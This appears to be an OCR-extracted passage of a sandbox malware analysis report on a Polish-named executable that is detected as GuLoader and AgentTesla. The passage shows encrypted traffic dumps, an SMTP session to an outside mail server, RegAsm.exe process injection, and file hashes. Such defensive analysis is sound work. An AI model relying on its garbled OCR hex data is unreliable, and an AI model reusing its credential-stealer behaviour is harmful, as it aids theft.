bl a5 ae c2 f2 53 3e 91 e6 f1 ef 08 3d cd Oe e4 55 25 ae 6f 27 f4 45 69 8d cb d5 52 b2 ff e3 5b 8c ¢8 5d c8 df 91 fb b1l 79
2ach 28 2f12 a3 7e 12 f4 ec 74 ch ec al 41 c6 af c9 e3 e2 a5 d1 b8 24 8d fe a6 23 cb 22 cf f3 Ob 3d 98 be 0d 8e 86 72 01
17 6f 52 09 8¢ 12 56 Oc 03 94 2b b6 0f 2e c5 50
Data Ascii: U~Iz;"Eal"9JkE_c(B5jtv)SXjBB<<=&SS2D*uz?H[Q;IAVXU<Ijj" S>=U%0'EiR[Jy*(/~tA$#"=rozV+.P

2021-09-28 11:02:14 UTC 205 IN Data Raw: 19 8b 04 f0 6f 81 51 f2 18 37 04 58 05 Oc d1 8d a8 8b 6¢ 3d c5 67 4b 97 b5 a9 31 a4 f4 17 df 7f ee 33 a6 63 df
64 47 8d 45 6d ef 2d 02 e6 ea 44 ed 6a d8 1c 60 al 08 ch b2 0a c6 62 40 al b6 fa 35 af f4 96 81 f4 c4 bc be 8¢ 91 26 57 f4
€6 37 80 e4 e5 90 4e 4b 92 e8 f4 64 2a 43 fc 27 ca f1 ff a3 7f 58 39 e3 28 04 ad 0d 6b af 50 91 0d fd 07 f1 65 a0 53 75 10
a7 2d 2b 2e 47 f6 5d d1 3d 78 Oe fd 56 dd 8b b3 5a bc ff Oc ae b4 0d 93 38 c8 1e f4 4c 9a 1d 4c 7b 9f d7 7f 7b b9 7b 27 26
c9 ad 6 58 49 80 7f 51 91 de 16 26 3e 4d a4 84 ¢8 2c d1 92 4d 15 11 18 18 c8 61 f9 b5 ee 90 72 €0 12 1e 7f ed a8 69 56
24 a6 cd d4 59 8a 53 f9 cf 96 89 6b 8¢ f0 05 09 ee d8 f0 3 97 7b 07 5f a4 23 ff al 69 01 96 9a 84 fa f4 f7 ce fa d3 ea 32 3¢
97 c3 el e5 3545 a2 9a 5c ef ed fb a9
Data Ascii: 0Q7XI=gK13cdGEm-Dj b@5&W7NKd*C'X9(kPeSu-+.G]=xVZ8LL{'&XIQ&>M,MariV$Y Sk{_#i2<5E\

2021-09-28 11:02:14 UTC 207 IN Data Raw: 8e €9 cb 31 2f 08 b4 7f 19 a3 cd aa d3 c0 5¢ 5e 57 d1 59 3d a4 Ob 40 d9 c8 a8 35 10 28 37 b5 94 c1 99 ff 44 4a
b9 f1 85 el 0f 32 d6 39 e4 52 4b 99 1d 07 fb 55 4d aa cd d3 50 bf 8f d5 51 99 al 70 fb d9 93 ea a4 48 44 ea 19 24 1b a7
65 24 91 dd 63 d3 f8 9c 2f fO bc cf e8 92 98 fa 85 33 8d 87 9b 3e af 25 d3 ec 1a 0Of 88 9f 79 88 91 72 5e 1c 6f 41 0d e9 22
51 Oc 27 82 5f ad 2c 41 f2 57 87 2b 07 9e 78 c0 70 b7 03 04 91 8d bf 30 d3 16 a9 45 9a ae 81 5d 97 48 c4 6d 76 3e 14 5a
a8 8b de 97 99 7b 52 al 37 df da ed 45 be dc dc b0 9d 83 01 44 a3 fb 2c bf 7b 7a ¢9 80 e2 c2 Oa le 4f a6 1c d4 5 25 3f 41
90 80 64 ca f2 ce cf f9 b9 ec 66 96 61 a7 e4 69 10 bd 9c 1d Oe 9b 5d 84 b8 90 13 b7 43 14 1d 4a eb 3b 86 7f 67 8d ca d1
9e fd c9 f8 bc 32 96 2e b8 93 ac bf f8 c6 3 d1
Data Ascii: 1\"\WY=@5(7DJI29RKUMPQpHDS$e$c/3>%yr oA"Q'_, AW+XpOEJHMv>Z{R7ED,{zO%?Adfai]CJ;g2.

2021-09-28 11:02:14 UTC 208 IN Data Raw: 15 69 06 €0 57 a4 ce 9e 4b b6 fa 1d b9 a0 05 93 3c c6 Of ef 5b 91 6e 2b 51 9b ed 5f 7f aa 7d 26 21 bb 99 97 51
4d 93 45 7f 95 c0 03 06 3b 58 ae 7 99 1a df 90 40 08 1c 71 18 d6 5f dO 87 f4 9c 6e e8 14 02 30 e0 b2 53 7c 3e 8f d9 d2
4b e6 7c e4 da f3 af 6d 9b ca 06 08 87 d0 e7 ee bc 51 72 4f a2 32 d3 a2 1b 2f 9c 9c ae fb ff 85 f8 ed d4 ce 25 3e da f5 6 f5
40 7e 9b af 41 8b d6 ed 94 2f 11 9e f2 cO 10 b6 fd ee €9 2f 4a 36 ff 3f 66 14 13 e2 88 22 cd 46 b8 f8 d2 c6 56 73 Oe 63 bd
ac 4e c9 89 d3 02 28 d0 ea 72 90 23 32 e6 46 ff 85 b5 47 0a 3b fa c3 9b f2 71 a4 8d 87 b2 0f f9 Oa 1f 4d 36 f6 69 d2 66 60
71 11 52 b3 c0 24 89 d2 20 b8 54 23 a3 62 cf 26 ab 3f 70 e5 b9 2c 5f 62 28 49 1a ee 8c a9 db 26 38 f6 52 92 74 12 20 f6
b4 d7 e0 31 9e 11 ¢5 aa f1 d5 62 aa a5 38
Data Ascii: IWK<[n+Q_}&!IQME;X@q_n0S|>K|mQrO2/%>@~A/[J6?f"FVscN(r#2FG;qM6if qR$ T#b&?p,_b(I&8Rt 1b8

2021-09-28 11:02:14 UTC 209 IN Data Raw: 31 07 89 67 ca 27 82 9f 10 71 24 f7 €9 d9 ef 4f 6b da 28 fa 40 2d 23 44 fc a4 9b c6 51 41 27 5a Oe d6 8 f4 Oc
2d e8 53 al 9f 9c 2a d1 al 0f 20 fe 75 9d 32 f3 95 56 d7 7c 09 a5 fa 8b c7 65 73 3c d9 6f ba 9a 54 37 3a f0 f4 39 bb 93 b2
be fe fd 8a 4b c9 01 c5 b7 1le 04 c6 ea 69 73 95 07 71 cd ee 56 53 24 48 76 35 8c df fc 19 e6 c4 a2 9d d0 80 2c 90 f5 7b
€548 39 e5 cc eb a7 9c 1d b7 ae Oa 96 38 46 44 Ob e3 84 c6 3f el 01 Ob 2e ef c8 cb 55 80 07 17 59 4b 20 50 30 56 8b 75
dd 06 a4 05 de 4e aa 47 43 51 06 a6 4a 76 37 cO b7 58 1b d6 b5 95 23 4b ff 7 06 5¢c 8b 4b 48 1d d1 87 3d 60 19 69 ce ee
25 a3 5¢ 1b af 29 c4 ¢3 1f 93 3e b7 b5 d8 15 6e c0 f1 5f 97 94 0f 17 3a 0a 57 e8 7c bf 02 e7 b9 b8 7e 44 05 2d el 5d 9c 4b
7 e0 1e 4f b8 69 2a f2 c3 eb 7c c2 9b 62 ac 7b
Data Ascii: 19'q$Ok(@-#DQA'Z-S* u2V|es<0T7:9KisqVS$HV5,{HI98FD?.UYK POVUNGCQJIV7X#K\KH="i%\)>n_:W|~D-]
KOi*|b{

2021-09-28 11:02:14 UTC 210 IN Data Raw: 5b bf 78 f2 bf bc 5d d5 8b 9d 93 21 15 7b 85 43 36 60 46 06 15 71 bf 29 d0 95 a0 b1 27 6b 5e al 52 dd 3a bd
db be 6e 7d a2 84 00 e8 54 43 9f 44 85 €9 c8 11 5a 4d 97 a3 ff fb 31 e3 el e7 c8 75 97 7a 6f 4d 71 93 18 ba 16 8e 8d 6b
30 e3 b0 43 e9 bb 28 fa 3d 4e ce 39 bb 55 d8 52 14 bc d6 46 35 9a b5 06 76 82 dd ce a5 59 4b f8 09 e5 7a 66 5a 90 a3 a7
b8 4b e3 e8 21 a2 b6 af 63 fb ba 30 1c a5 36 99 al b9 ad ee 69 28 f4 79 ba 97 ba e8 0a b2 8b a6 3e 9a 59 40 a4 41 d1 fd
99 82 08 ee 92 17 4f 07 Oa c6 a4 39 ff 91 1f 1e ee 12 32 53 58 e5 58 b7 8e 53 6b f0 32 23 0a 4c 7f 2f f4 7a 83 4a f2 05 ea
80 01 d9 1e ff c2 a8 ec 4e 9e 78 cb al 4c a3 Oc 86 ed 17 31 el 4b 09 ea bd d8 e9 98 2b cO 78 0f d4 2f 77 d2 ab ff d4 bb
2b ab 48 9c 3f 46 c2 62 45 b6 a4 d5 63 4d 49 5d dO df
Data Ascii: [x]'{C6 Fg)'k"R:n}TCDZM1uzoMgkOC(=NOURF5vYKzfZK!c06i(y>Y @AO92SXXSk2#L/zINXL1K+x/w+H?FbEc
Mi]
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kBytes
Timestamp transferred

2021-09-28 11:02:14 UTC 212

2021-09-28 11:02:14 UTC 213

2021-09-28 11:02:14 UTC 214

2021-09-28 11:02:14 UTC 215

2021-09-28 11:02:14 UTC 217

2021-09-28 11:02:14 UTC 218

2021-09-28 11:02:14 UTC 219

2021-09-28 11:02:14 UTC 221

2021-09-28 11:02:14 UTC 222

SMTP Packets

Timestamp

Copyright Joe Security LLC 2021

Direction

IN

Source
Port

Data

Data Raw: a7 bb aa 77 36 c9 a6 25 eb 94 45 d7 f3 8a cf 26 €9 c1 df 4c 85 1b 1f 5¢ 4b 20 53 20 5e 81 7f da 01 b7 0d d3 53
ae 54 57 64 0c b0 cd aa 3f dd a4 2f 8b ee a9 f0 2b 52 f0 87 13 dc 57 48 ad cf df 8e 2a 75 78 7a c0 f4 24 a3 4b 87 8f 3f 4d
€6 05 af 3f 9f b5 db a8 44 de 71 dd 96 83 9f 16 29 a4 7e e4 7b ba 03 e8 24 80 6a 59 06 37 68 78 8a ch c7 el 17 43 b8 4c
2be7 cfeb 77 c2 9b 78 a9 71 bb d6 07 3d b2 17 b5 33 57 aa 5b 57 56 8e 85 31 08 f6 aa 6d 8f 10 7f d0 d3 63 84 9a Oa df
c1 16 ba fe bd fb f6 04 ca ba ee fa f1 5¢ 22 85 84 7f el 86 9b €9 20 24 9e 8f 97 11 7b 2c 85 54 a5 91 8e 44 6e 0f 5f 92 47
7b 4a f8 06 d4 24 92 6¢ 1a f6 bc 86 45 2d 01 79 cc 46 52 7b 34 06 bd ae da 89 76 8a 37 5f d3 c0 3c c1 19 5¢ da c4 6e ef
57 b8 7e 83 01 e8 60 4f 32 fd 8a 09 1a cc Oc 4d

Data Ascii: W6%E&L\K S "STWd?/+RWH*uxz$K?M?Dq)~{$jY 7ThxCL+wxq=3W[WV1imc\" ${, TDn_G{IS$IE-yFR{4v7_<\nW~"
o2M

Data Raw: 31 19 a6 2a 9f bd 82 bf 4c 90 1e f7 68 ae 9d 31 79 Oc a5 04 e8 25 86 ca b0 a3 4f c5 fd 99 ee 07 f4 14 53 53 88
8acd a2 23 77 36 Oe 66 67 25 21 4f d1 a6 4a de 84 49 62 fd 10 26 Oc 51 65 ab 6a 79 9f d9 db 14 d8 00 96 dO 15 ca d0 3b
f4 b6 8a f9 8a ae 41 3e ff 87 {7 1b 23 f5 44 65 fd b4 41 44 8b a4 4f eb c7 d6 3a 67 4b 06 df dd 95 3e 3e 1d 80 b7 d1 cb 6d
c1 fe b8 ce eb dd 40 5a cb c5 2f 75 90 22 cb be 9a ff ac 69 4e al 74 99 a7 85 e3 Of 2b 9d 23 8d 89 bc df 28 d6 81 9f 29 f0
c0 11 ba bc 8 9f da 2c 4a b8 54 44 e3 4a 19 70 fa 86 16 b3 9d fa ae 2b fe af 10 a2 e2 b1 fe 42 7e 67 ea 58 2e 31 a6 9b 62
60 e2 de 60 e7 f1 6b 50 4d 6d 3d fa cc 5e 38 09 52 8e 36 f7 74 33 8e 2b 9a 56 6a f7 29 8d 1c d8 79 01 d6 €9 d9 02 94 7c
fd 20 f5 ce fb 36 ca 3f 37 5b 01 cd 04 3b d2

Data Ascii: 1*Lh1y%O0SS#w6fg%!0JIb&Qejy;A>#DeADO:gK>>m@Z/u"iNt+#(),JTDIp+B~gX.1b kPMm="8R6t3+Vj)y| 6?
7

Data Raw: 78 a7 43 c0 al 2e 04 27 7f 05 38 ee 57 5e 99 Oa ba 89 3d 37 3f 01 d7 ec f9 cf 04 96 Oe 22 57 62 95 15 ee 8f 79
ed 84 b9 b2 fb e8 7d €3 3c 97 8d 77 eb 80 98 f2 36 36 8e 93 8d Oc 7d 2a 84 4c b7 97 99 c6 19 00 56 99 58 6e c1 65 00 cO
26 8¢ 7b 84 61 2c 31 d8 37 7d 63 d8 6b 48 72 28 91 2e 3d c1 0d 79 Oe 65 c8 dc 5¢ a0 d2 89 e8 9c f9 62 ef 45 ab 69 01 69
fa 07 44 29 e1 a0 8c bb ed 13 5e 5b dc f2 16 af 29 f5 9b 7c el a2 e3 fc 53 3e 56 b7 c6 61 b0 f2 27 6e e4 31 65 27 40 87 9f
91 fa Oe 9c 65 75 38 87 df 09 3b 58 e2 ab af 22 82 11 b0 a2 fb cb 02 €8 93 6b 7f e6 a2 90 8f c0 20 5d 3b d2 53 9e 53 f0 47
el 6f 87 81 88 90 b9 15 3e bb 52 d2 b4 a8 8e 98 3d 04 ef d5 36 85 91 83 d4 48 fc b2 af db 47 b2 85 92 8d 21 15 7b 90 45
1f 40 56 9a f2 6f b1 38 4b b0 a9 b5 28 7d 42 23

Data Ascii: xC.'8W"=7?"Wby}<w66}*LVXne&{a,17}ckHr(.=ye\bEiiD)"[)|S>Va'nle'@eu8;X"k ];SSGo>R=6HGH{E@V08K(}B#

Data Raw: 46 a0 ea b1 30 57 ec 14 60 87 60 5c b1 68 Oa be 24 ff 9c 02 80 23 8d 50 af a4 al 8b 81 8a 3a f0 c6 10 b4 a8 71
cf da 32 56 c1 47 55 6a ca 1f 44 f3 b3 04 b8 09 71 2e a0 7e fd 84 fO 6d 26 ea 42 7e be e5 44 al 6d b5 90 6d ef dd de 8c
a9 ed 14 df 6e 12 46 73 8b 54 37 39 4e f5 1e fa 78 Oe 80 31 fe 5d 42 eb 35 a5 11 ¢3 57 06 e4 dd c5 61 92 7f d9 2e fa 40
39 3f cc 29 b0 0a 92 65 46 33 c6 fc d8 f6 88 09 0a ea 48 2a 96 97 2d ff b1 8e c4 6e dc 61 31 f1 86 2a c3 7f 09 a6 e0 e2 c7
4d 7a 3a eb 18 b2 a7 53 3e 20 76 99 2a 39 ec ba 9b fb €3 96 04 f4 07 ed b6 04 64 e0 9 7f fb b2 16 d8 cc fc 40 fa 21 54 Oc
3398 4b e7 89 6e d7 a9 al da 95 af 88 €2 d9 ec 58 b6 e8 c1 c2 87 8e 89 b0 28 23 95 2a 54 4d Ob e2 87 d0 0d 63 03 0d
20 f2 c6 ff 51 82 0f 32 54 5b 32 dO 34 59 8d 6d d9

Data Ascii: FOW "\h$#P:q2VGUjDg.~m&B~DmmnFsT79Nx1]B5Wa.@9?)eF3H*-nal*Mz:S> v*9d@!T3KnX(#*TMc
Q2T[24Ym

Data Raw: 5b 5b d4 e5 9f 38 3a 66 fb 3e e6 32 37 77 3b 3d 57 17 c0 73 a2 e0 21 74 45 73 7f bb 05 84 75 2c d0 05 9b 75
69 bl 16 c3 02 3b 5e e4 b5 a9 28 84 1d 9e ad ef da 89 72 9d 78 72 e6 b1 9d 89 d5 2b 7a 21 c9 5b 8f cf 6a 53 e2 6f 62 8e
888d ac b4 a5 b8 4e 42 77 db 95 b6 34 1e 73 46 24 8d 9f 9c d8 54 6d fa ae b2 52 d9 9f 1b 71 3f 06 65 85 56 18 70 56 97
f2 62 a2 2c d9 9a ac ba 33 7b 44 28 cd dd 36 a0 c6 ab 6a 65 a0 8d 08 d5 55 4e 82 43 84 e8 d0 9b 7 4c 95 b9 ea fa 30 f8
eB8e6 el 6f 17 93 76 43 65 87 05 a5 04 0d Oc 71 b7 02 bc 41 f1 a8 3c ec bc ae d7 b1 56 5b cd 12 1d el cb 17 27 4b 28 21
7f ab dc 5 b4 6f 41 d6 00 f1 14 79 41 03 27 a6 bc 63 f2 68 ad 28 d2 be el 58 ce bb ac a0 37 91 al 0d 4f cb 41 30 e2 f9 5e
8a 98 e0 1f 37 45 ad 10 96 4a 27 aa 46 f0 eb 19 79 Oe

Data Ascii: [[8:f>27w;=WSs!tEsu,ui;*(rxr+z![[SobNBw4sF$TmRq?eVpVb,3{D(6jeUNCLOovCeqA<V['K('0AyA'ch(X7
OAONTEJFy

Data Raw: da cf de ca fc 3b 0d ¢6 59 98 bf b1 2b €9 b0 al d5 95 5 0d 36 83 94 56 cc 7e 34 a3 ee 9e cc 65 7f 1b f8 6e b3
8f 56 3c 20 90 fc 26 a8 8 b5 bc fc f7 84 0a d3 6d d8 aa 1f 66 c0 7 7c f9 7e 1b e2 a5 f2 c4 36 3d 54 f8 d7 8c df 54 2d 60 c7
a9 b3 de 9a a3 8f 71 6a eb 48 39 c5 db 48 42 9c 1e 17 a2 36 85 a7 ad 55 a9 56 94 44 be fc 16 12 32 fc 44 76 57 a0 07 08
d6 8f 2e 49 3a 4a 8b 6d c1 1a af 06 d5 52 b6 4c 5¢c 64 Oc bd 50 7b 25 c0 a0 20 15 ae bb el 29 53 ed 82 10 df 62 5e 2d 18
df 9b 25 7a 74 62 c5 e9 33 3d a3 88 8d 3c 59 e8 05 18 ca 85 34 ¢4 86 c6 cO e3 34 87 04 9f 3b Ob 8b 6¢ 6d 89 b9 3f f4 2a
le 8f 4a 16 38 67 76 80 d8 59 15 Ob cc bb 75 ad fb d3 9f 60 4d 84 6b ab 77 a7 4a dc 3c ab 17 5¢ €3 59 38 0Ob f8 40 8c 8d
3e 8d 21 be 6d 8e 58 65 b1 c6 0a 97 15 21 56 3e

Data Ascii: ;Y+6V~4enV< &mf|~6=TT- gjHIHBE6UVD2DVW.I:JMRL\dP{% )Sb"-%ztb3=<Y44;im?*J8gvYu MkwJ<\Y8@>!
mXelV>

Data Raw: 22 cd dd 35 a8 c¢8 37 32 7b b1 85 11 f4 42 44 98 41 8f ee d0 98 ba 41 92 bb e0 fc 29 73 08 eb e6 7b 87 f3 36
4b 75 99 Oe aa Oc 07 13 64 37 eb bb 4b f3 aa 32 7c 38 5e 42 28 be 54 df 52 1d b5 cb 43 27 05 29 Oe 7e 9a 88 d9 a2 09 33
97 70 b9 7c 15 16 fa a5 cb c0 37 98 06 d2 fe db dd 0d 9e ac 39 30 a4 37 b5 87 ed 9d f8 Oc 01 92 4b 96 ed 89 d5 35 9a bl
cb 51 ac 66 10 c¢3 70 b5 c2 79 47 65 de f4 26 6d e3 f3 aa 95 08 f7 96 1c 27 19 28 2f 5d 50 €6 58 b7 8c 54 6¢ cb 4a 22 02
44 57 2af3 78 8d 58 9b 01 ca 81 0f d1 1b df c2 ba 6d b7 98 78 ca a0 5d 12 87 8a ea le 3f e9 56 Oc e8 fa 83 8e f8 ef 25 Of
2b b1 46 18 ca ce ad b0 c8 4b 4f 6d bc 52 24 a6 7f 40 be ad dc 95 61 41 74 9e d7 ae ec 91 30 4a fe 94 f1 a2 67 53 a4 7a
8b 27 25 ed 1d 42 95 31 Oc c9 ae b6 20 cb 8f 97 34 fe

Data Ascii: "572{BDAA)s{6Kud7K2|8"B(TRC')~3p|7907K5QfpyGe&m'(/[PXTIJ"DW*xXmx]?V%+FKOmMR$@aAt0JgSz'%B1
4

Data Raw: b1 07 ec 08 b2 4e c7 49 37 79 67 al 2c 7e 54 dd c0 3d 09 b3 e6 fc 73 56 b4 82 44 5c¢ fb 59 5a 1b 82 86 4a 72
0a 67 82 €9 62 be 00 9a de 3b 21 e6 6e 9b 70 97 f4 c9 d9 47 ae f1 14 95 d5 8e 5a 2b ec 7e a3 7c d8 1f 99 38 cf 76 03 04
7e 60 36 8e 84 da a7 19 3c b6 0f 2c 80 c¢1 85 72 8d 95 00 ac 51 a9 33 d2 58 b7 60 35 fe 45 2a 8a 6d 4b 83 8b 22 88 7f b6
0d Of aa 6d dd c1 7f 95 78 33 al d3 c1 1b 9e 9d 89 e4 f5 b7 d5 ee 96 ff 3c 3e 99 83 4f e5 a6 95 c5 3¢ 16 92 bf 91 3e 75 12
98 51 ab a7 9c ce 1b 09 58 d0 49 1a c8 Oa Oe b8 23 fc 7e fa 73 ¢2 04 bd 25 34 7e 92 48 2a 7e 54 84 4f bc 31 Oc 04 8f 4b
dd ce dd 09 d3 b5 69 ec e4 42 el 69 a5 55 80 19 e8 6e 4c 34 ef b2 0d f5 76 ab 69 6a b1 8d fb 16 5e 82 68 4f 9d df Oc 58
70 1d f9 c7 ea 4f db 92 4a 13 01 18 19 c1 3d b7 a3 d5

Data Ascii: NI7yg,~T=sVD\YZJrgb;'npGZ+~|8v~"6<,rQ3X 5E*mK"mx3<>0<>uQXI#~s%4~H*~TO1KiBiUnL4vij*hOXpOJ=

Data Raw: 06 €6 95 13 5d 86 97 ¢8 ac 31 f7 96 1c Of 6f 2b 2f 5d 50 €6 58 b7 8c 54 6¢ f5 3c 21 02 44 77 2a f3 78 8d 58 9b
01 ca 81 0f d1 1b df c2 ba 6d b7 98 78 ca a0 5d 22 f1 89 ea 1e 3f €9 56 Oc e8 a5 c0 el 8a aa 5d 6a 66 d0 2f 76 ca a3 de
d3 a7 39 2a 08 92 36 48 ca 7f 40 be ad dc 6a

Data Ascii: ]10+/]PXTI<!Dw*xXmx]"?V]jfiv9*6H@]

Dest
Port Source IP Dest IP Commands
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Source Dest

Timestamp Port Port
Sep 28, 2021 13:03:50.215318918 CEST 587 49748
Sep 28, 2021 13:03:50.215816975 CEST 49748 587
Sep 28, 2021 13:03:50.235476017 CEST 587 49748
Sep 28, 2021 13:03:50.235780001 CEST 49748 587
Sep 28, 2021 13:03:50.272535086 CEST 587 49748

Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Source IP

109.169.39.245

192.168.11.20

109.169.39.245

192.168.11.20
109.169.39.245

Dest IP Commands

192.168.11.20 220-s3.xperimenta.net ESMTP Exim 4.91 #1 Tue, 28 Sep 2021 13:03:50
+0200
220-We do not authorize the use of this system to transport unsolicited,

220 and/or bulk e-mail.

109.169.39.245 EHLO 376483

192.168.11.20 250-s3.xperimenta.net Hello 376483 [84.17.52.54]
250-SIZE 94371840

250-8BITMIME

250-PIPELINING

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP
109.169.39.245  STARTTLS

192.168.11.20 220 TLS go ahead

Analysis Process: Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe PID: 8728

Parent PID: 8384

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

13:01:25

28/09/2021

C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe
true

‘C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’
0x400000

90112 bytes

419A3E9CE6606D5ED7B22A7574E1A294

true

true

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000005.00000002.1080090056.0000000002250000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: low
File Activities Show Windows behavior
Analysis Process: RegAsm.exe PID: 8100 Parent PID: 8728

General

Start time: 13:01:48

Copyright Joe Security LLC 2021
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Start date: 28/09/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): false

Commandline: ‘C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe'
Imagebase: 0x160000

File size: 65440 bytes

MDS5 hash: OD5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: RegAsm.exe PID: 8676 Parent PID: 8728

General

Start time: 13:01:48

Start date: 28/09/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit): false

Commandline: ‘C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’
Imagebase: 0x250000

File size: 65440 bytes

MD5 hash: OD5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: RegAsm.exe PID: 9020 Parent PID: 8728

General

Start time: 13:01:48

Start date: 28/09/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit): false

Commandline: ‘C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’
Imagebase: 0x1e0000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: RegAsm.exe PID: 9012 Parent PID: 8728

General

Start time: 13:01:48

Start date: 28/09/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’
Imagebase: 0xa70000

File size: 65440 bytes

MD5 hash: OD5DF43AF2916F47D00C1573797C1A13
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

true
true
.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp,
Author: Joe Security

moderate

Show Windows behavior

Analysis Process: conhost.exe PID: 3996 Parent PID: 9012

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

13:01:49

28/09/2021
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff75ead0000

875008 bytes
81CA40085FC75BABD2C91D18AAIFFAGS
true

true

C, C++ or other language

moderate

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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